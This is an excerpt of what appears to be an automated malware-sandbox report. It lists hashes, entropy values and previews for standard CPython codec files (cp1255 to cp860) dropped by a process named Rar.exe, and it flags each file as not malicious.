Preview:	""" Python Character Mapping Codec cp1255 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1255.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1255',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1256.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13121
Entropy (8bit):	4.623477051591162
Encrypted:	false
SSDEEP:	192:2HhsuOTDvRgUrXPLouhIAs2+i75IiPEFPDCYljorsWCdxeiu5it2uncgYejC:TTiuhIAl4P6rsEr
MD5:	2CCBF9B374CE98453955DAD9848C90FF
SHA1:	0E7B99D406E72AF59F80405B9676988CD6881C40
SHA-256:	24A69E11902CC4054280EC2DE38EE836D0BE22EABDB9CDC56D9A7B63C8CDDB06
SHA-512:	4A97C524F951DE4CF08F2EF86F9AA9F4F421BA3327D07E0B883958057E6204A410F42E82E0C7DBBAC8F3252065F96A4255A820753BD6EBE80254E1AFE160FD3F
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp1256 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1256.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1256',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1257.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13681
Entropy (8bit):	4.608029292102436
Encrypted:	false
SSDEEP:	192:8HhsuOTDvRzUrXPLouhIAs2+icIkDCYwoe1X:pTluhIAlI0oet
MD5:	544A8ACE12064E96C3E6A7DB436F9F09
SHA1:	ADADE6DC415731BCC23386DF031CA5B003D09881
SHA-256:	902262C0640FC0F21CF85A86456DC33D43E51B07E6C961526BF7F7ED4CE2AB8D
SHA-512:	4830A946DA25CBECDD1AEB5DF055FD1961EF8E32936406889C39EE4F9ACD6A15605DCA448AA73DF0A4BE721BAB6B04C03D02524918FCBB1499C4E7B60863BCE2
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp1257 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1257.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1257',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1258.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13671
Entropy (8bit):	4.591778820995035
Encrypted:	false
SSDEEP:	192:2HhsuOTDvRmUrXPLouhIAs2+i/IZDCYAZtTBd0HXIGPf:TTEuhIAlIMZtlJS
MD5:	11328D7E1CD433053C29BEC6C739FB67
SHA1:	FD2D141516EEF65B903F552AC68CE30AE45A40A8
SHA-256:	A9E1E891DD1F28DEA5ABB5819AEE1477156D288733EB2342F0696F1E5DD0A11D
SHA-512:	E643AFFBC683B99169FDB236184E25DDAC58803FB11799BD56BE44376953DD16F5E4C982CDFCA8D8F79D0B142E294ABAB72F25202F012F4149371B20F408A3E0
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp1258 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1258.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1258',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp273.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14439
Entropy (8bit):	4.5334908386243296
Encrypted:	false
SSDEEP:	192:8HhsuOTDvR8Us0/nt7nw642d0C2UjoDyHg45tgVp3E5EmYI:pT1PtbcWoDumpU+mYI
MD5:	CF85B6224C5FE7C8EA6CBAD1C1BB6155
SHA1:	C8E3B07E4B5447EC58A280414228797EE6816A24
SHA-256:	016C8DA778E50CBCF76815BBD8F6D0D33DBF1FAF852726D85A5A47651C371033
SHA-512:	8FF744A4A173D2F046180A6A5C1A17715E7ADA582278166B2A418DE4C65441A47A040E8040E2385E02A24826082542D6CFBB3B548401ABEA8D0A17FEFD43B660
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp273 generated from 'python-mappings/CP273.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp273',.. encode=Codec().e

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp424.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12362
Entropy (8bit):	4.601902617990224
Encrypted:	false
SSDEEP:	192:aHhsuOTDvRqUwGYPJHjA/KT4RltXARfFVV2IC4FcE8bVO4BG2QST/:3TBcWK3cE8bT1QK
MD5:	85667B33899EC661331A9CA44CB36DEC
SHA1:	E755BF3ACA17896638E62BE91D9C8AFE0A6ED725
SHA-256:	AE6E956B42CF3AE32E988833772FC040F8393DA007048AD2B4E1D621FE6523E7
SHA-512:	4D7178C9AC351A644F6062D09FA9C28D569F48ABF1CC4F906C93B8BCCB151FE450E0A9B7A8EF26BD2851A7CE213F27A309F0EA6A2C999A7C5866432DF9E6FBCB
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp424 generated from 'MAPPINGS/VENDORS/MISC/CP424.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp424',.. encode=Cod

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp437.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35262
Entropy (8bit):	4.591583826618043
Encrypted:	false
SSDEEP:	384:p1LnZkjh4wVdjIVjxAEJHWJn4AVEccqPMy:XqjhJVRKxAEJ2BF6S
MD5:	A11E9C869BD055D6C91354FFFEB7644F
SHA1:	B008E64C808A86312863C194C621214134B4C432
SHA-256:	7B0A9AE2E74D370354CC60CBCFB77AF970364818BE2E2A446187DCCCF9E28ACC
SHA-512:	3A628F1BB8D36845074B4FA66A8B91B5F8365C5677CC81AFA5D7DA1313F328E1B409A3C43249C9D62FADC2B71CE9E7CE70CCD3854BA7B8CBB19CFB79B8AD92FE
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp437 generated from 'VENDORS/MICSFT/PC/CP437.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp437',.. encode=Codec().enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp500.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13428
Entropy (8bit):	4.523115396759222
Encrypted:	false
SSDEEP:	192:ZHhsuOTDvR7UZkPS9BrG4/RVFIhRNvYkV2H2QB:8TirG4/0RYkgWQB
MD5:	BEE7333323D2BCA3262F13C59414EDD3
SHA1:	57E74B1BA865C5198C26344B2F6F270350C014B4
SHA-256:	A5CAC573ED357CB6C2A672D01696212C25E306936586D94BE0D0130354A4DB6F
SHA-512:	B9DD5137040DC57308093D9C71291668CE7CBEDCA11DBC0D85187C6DEE568CA25F69B67F7FB08A2CA248D966EC622C7CE0DD35C0BA2CD77C860274A11A50827D
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp500 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP500.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp500',.. e

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp720.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13995
Entropy (8bit):	4.642939154809849
Encrypted:	false
SSDEEP:	192:fhsuOTDvRD9lPEeXGyQCmEdfn4OH3NGzN7KwAKYWEDdunzT:STSeXGy1dc5
MD5:	9B7E8AB7C2EE4F82BE09E14F3D3AEA4C
SHA1:	AA76BF3210EF70474330E0212A8B2EDEB518DC5B
SHA-256:	016BDB7208A0D6BFAF8972C1F6BB4B3DE39C77E026B49ED106866D592BE4810B
SHA-512:	0E706CB3E9199663D2DE2E6443F2C9E46279F11ED32BFFE482C4262D7CBD1A30F49018588F96C037E147D9DCE27F29C4ABC1EAAD230CF09B73317F5872967CCD
Malicious:	false
Reputation:	low
Preview:	"""Python Character Mapping Codec cp720 generated on Windows:..Vista 6.0.6002 SP2 Multiprocessor Free with the command:.. python Tools/unicode/genwincodec.py 720.."""#"......import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codec

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp737.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35379
Entropy (8bit):	4.616163070442315
Encrypted:	false
SSDEEP:	384:VmDXpX8Jytkjh4wVoEm3clxHRE8q6HWJn4AVhUise69/TUMy:8DXizjhJVoEm3clx6y2BFH25W
MD5:	BD60E98CC59C8BD60874F59A06E30F78
SHA1:	D0086209BA6B3D56964EA7295A8EA54BC5AA02D7
SHA-256:	F2DA9D418B2364C2E1A587B7A6E26FF5601C16AA7993070F2C955DDF2A1F860D
SHA-512:	377D0F87DDBB23D9CCAABE35085EF1E92FCE766B01E55774F4371EA281A03825D141A6F905C90C419B19D09529A8185827C9F4FC6EB176BBADE3DFB478AFB1A0
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp737 generated from 'VENDORS/MICSFT/PC/CP737.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp737',.. encode=Codec().enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp775.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35173
Entropy (8bit):	4.550355257462109
Encrypted:	false
SSDEEP:	192:8HLsuYDvRxp2YM0AQ7COJgJOlSwrE0PXRN/h4wcuSMy+PeD3xUpWS2449jBRWJnI:lRNALMSkjh4wVHeahcHWJn4AVztzXsj5
MD5:	CBEF285952C0476BF35BFCD7E7818919
SHA1:	1C61953A3AE6638EE415CA2A93710FF3D8E59D68
SHA-256:	00F2A5E71CA98ED656EC430A80FC2E971988A0A33EBDEA77661BDBE24FE2FBFF
SHA-512:	2F78E73843365DB7F164C2F3C7CD2AE5860D80A11BAF9212BA54C58F9B08C99035FEF6A200D836036AF2B4F1F286B0C2447953203B0EB1C87FD5F1DBE3D24396
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp775 generated from 'VENDORS/MICSFT/PC/CP775.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp775',.. encode=Codec().enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp850.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34803
Entropy (8bit):	4.521332806052938
Encrypted:	false
SSDEEP:	192:QHLsuYDvRVSUpAJZjJBfX6l6xSwrE0PXRN/h4wcuSM5kw9evMStmxspGf6w6F44j:hbAZSkjh4wV5j9eJTHWJn4AVgqur
MD5:	F5F11DA44C65B2A394A4137E36E35E82
SHA1:	BD17C2F9156D704AEAB144A4C1B5B8CA436A5D73
SHA-256:	DCBE5938D7FE65072D4A286A184046DB211544C30F0C3C370B9CD594CF3B36BD
SHA-512:	58AE94059D5ABDC1892FE28DA1646249A0A96817B790BA468B1AA11983A8292AB1FCD1357C9EF9771DE11685FC999791DB184CAF16E7E05D634680AF8A74D6BA
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP850.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp850',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp852.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35700
Entropy (8bit):	4.529290225811869
Encrypted:	false
SSDEEP:	192:SHLsuYDvRzgbY6oxCzhnfnh7gwrE0PXRN/h4wcuSMyLLUhmCIbp0w449jBRWJn4d:vgCkjh4wVy/xHWJn4AV9dQr
MD5:	BB2BA9443AE7BD887BA8EAC3E622366A
SHA1:	777E47CA86C4CF65DA68603DDACD6C78B89E0DC7
SHA-256:	8B6AD769607B3DB0D60E4BA1A6321A3823AD8460890D48C816220DCDF8CBEA98
SHA-512:	EBAEC3C9AB014DD4B9629DF511D5E98A9CC88F4035841756142AFC462AB00D07B92050F62C89CF7B2C4891E7D4165F3B3C78548062AACE86E4680C6E2FF3F996
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP852.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp852',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp855.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34548
Entropy (8bit):	4.55461632698867
Encrypted:	false
SSDEEP:	192:PHLsuYDvR+mIj30FeMwrE0PXRN/h4wcuSM2fi+ypK2449jBRWJn4bkVd8nOiB6HL:i+0rkjh4wV8iN3HWJn4AVd8n0r
MD5:	7C84762C6FD5251CD237754FEB1752D4
SHA1:	B4F083D0AC32E26B77DB2E99F53C079DB7B844A1
SHA-256:	F4F47A5CF3FE5A8CD269B68A73C1DC293A75CD3B9C0489CFA600919B47B35A4C
SHA-512:	D841B04E354ADD8C3D337A6952163CDC8D74FE8F561418A8DEA9C7C5986EE15179F9F5B2336880ABD279CE45AA46CB55020EDE9CDF0FE8B7EA093D1033B5F108
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP855.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp855',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp856.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12730
Entropy (8bit):	4.6600353742865055
Encrypted:	false
SSDEEP:	192:JgHhsuOTDvRPUrXPLouhIAs2+i+/4mwNLlYip2MUo8ONT:jT5uhIAlg02MH
MD5:	EE5A43420B08D06B0B2D72A49F00216D
SHA1:	5CAB8D55CB2910C092AF40C921E0B0959933C216
SHA-256:	F0C9DAC1B08D688B81B4F11CA603336FBD5C7FC4C1A30E8B7836283C2AD9A8E7
SHA-512:	97CC6127C21CF49679AD8AC1B47D22D674A07D83BDCD7FAB54B3C821F8DC531435F3B12EE63222C92E3A9D6895404BA857926BA2CA52CDB1BD3ED51B49009C65
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec cp856 generated from 'MAPPINGS/VENDORS/MISC/CP856.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp856',.. encode=Cod

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp857.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34602
Entropy (8bit):	4.528500526287676
Encrypted:	false
SSDEEP:	192:BHLsuYDvR8LmUdMAJZjy5xSwrE0PXRN/h4wcuSMMksbYevMScnepGW449jBRWJn+:4FAcSkjh4wVMuecebHWJn4AVk2Yr
MD5:	DD1F84F2921D49CF944DF4BCF6ECF7E8
SHA1:	7EEE7B6CAA8120C4D26E96FCCC21C4474BD2652A
SHA-256:	8AE4CB6989342105C513678480ECBDF2D5D8E534E69704964D0FB4D2A960039B
SHA-512:	92DB4E13E84876B51B2600F503C56857E96F06A1F23C327762372F97628C766B0E524568672FBF3BA07B26A4284C1AEB522BD433F3ABB9704CF9277157B95832
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP857.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp857',.. encode=Codec().encode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp858.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	34713
Entropy (8bit):	4.518245366498134
Encrypted:	false
SSDEEP:	192:CLsuYDvR9SUpAJZjJBIX6l6xSwrE0PXRN/h4wcuSM5kw9evMStmxNpGf6w6F4490:3jAYSkjh4wV5j9e2THWJn4AVgq/r
MD5:	F0B8B1B55A90C1EA058759AD18834A75
SHA1:	FD7AFDDE40956991241D6130F72A40D1C655B15B
SHA-256:	04A67B43EFA1E0CE2D80791C290BC2C8EA01C3991EB3DF37528B1DD575B12330
SHA-512:	72F7905616B3B3F9D961E4A605B15A8B9D427E13A82B1BA9AC1F2380E961DE6848A9C5068A57DE6CF62E0CEC5D9E6C2D7310F906D0EC16CAC345E48AA1ABF352
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec for CP858, modified from cp850....."""....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp858',.. encode=Codec().encode,.. decode=Codec().decode,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp860.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35379
Entropy (8bit):	4.587856666654445
Encrypted:	false
SSDEEP:	192:/HLsuYDvRGYj/bXdiaYzIUqwrE0PXRN/h4wcuSMBmkwNvuD8HtIMpWZEt449jBRq:SfnZkjh4wVMjNjxAEJHWJn4AVWIcOMy
MD5:	1F0B22586EC65A59C966A709024E35E4
SHA1:	143BCD55359AD3B9506D6583D04A8C1BF32366BD
SHA-256:	E2B8B4B2658ECC3DC53D4B0760AEA95517BE298FAFBFA69574B08933747922BE
SHA-512:	7859FBC58DD5B68614F3F83DA28AA600E86A6F2DB7E011870B212E4D721478A8028D893AB666212DA1B1D38D41BB9E03B985C555154E33A20D71D2449DE7FDF2
Malicious:	false
Reputation:	low
